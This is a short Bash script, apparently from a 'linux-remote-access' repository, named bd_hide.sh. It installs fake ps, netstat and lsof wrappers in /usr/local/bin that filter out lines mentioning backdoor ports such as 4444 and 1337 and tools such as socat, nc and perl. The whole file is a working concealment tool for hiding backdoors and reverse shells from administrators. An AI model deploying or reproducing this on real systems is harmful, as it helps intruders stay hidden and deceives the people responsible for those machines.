linux-remote-access/bd_hide.sh

34 lines
654 B
Bash
Raw Normal View History

2017-11-20 19:04:16 +01:00
#!/bin/bash
#ps
#------------------------
touch /usr/local/bin/ps
cat <<EOF >> /usr/local/bin/ps
#!/bin/bash
/bin/ps \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF
chmod +x /usr/local/bin/ps
#netstat
#------------------------
touch /usr/local/bin/netstat
cat <<EOF >> /usr/local/bin/netstat
#!/bin/bash
/bin/netstat \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF
chmod +x /usr/local/bin/netstat
#lsof
#------------------------
touch /usr/local/bin/lsof
cat <<EOF >> /usr/local/bin/lsof
#!/bin/bash
/usr/bin/lsof \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF
chmod +x /usr/local/bin/lsof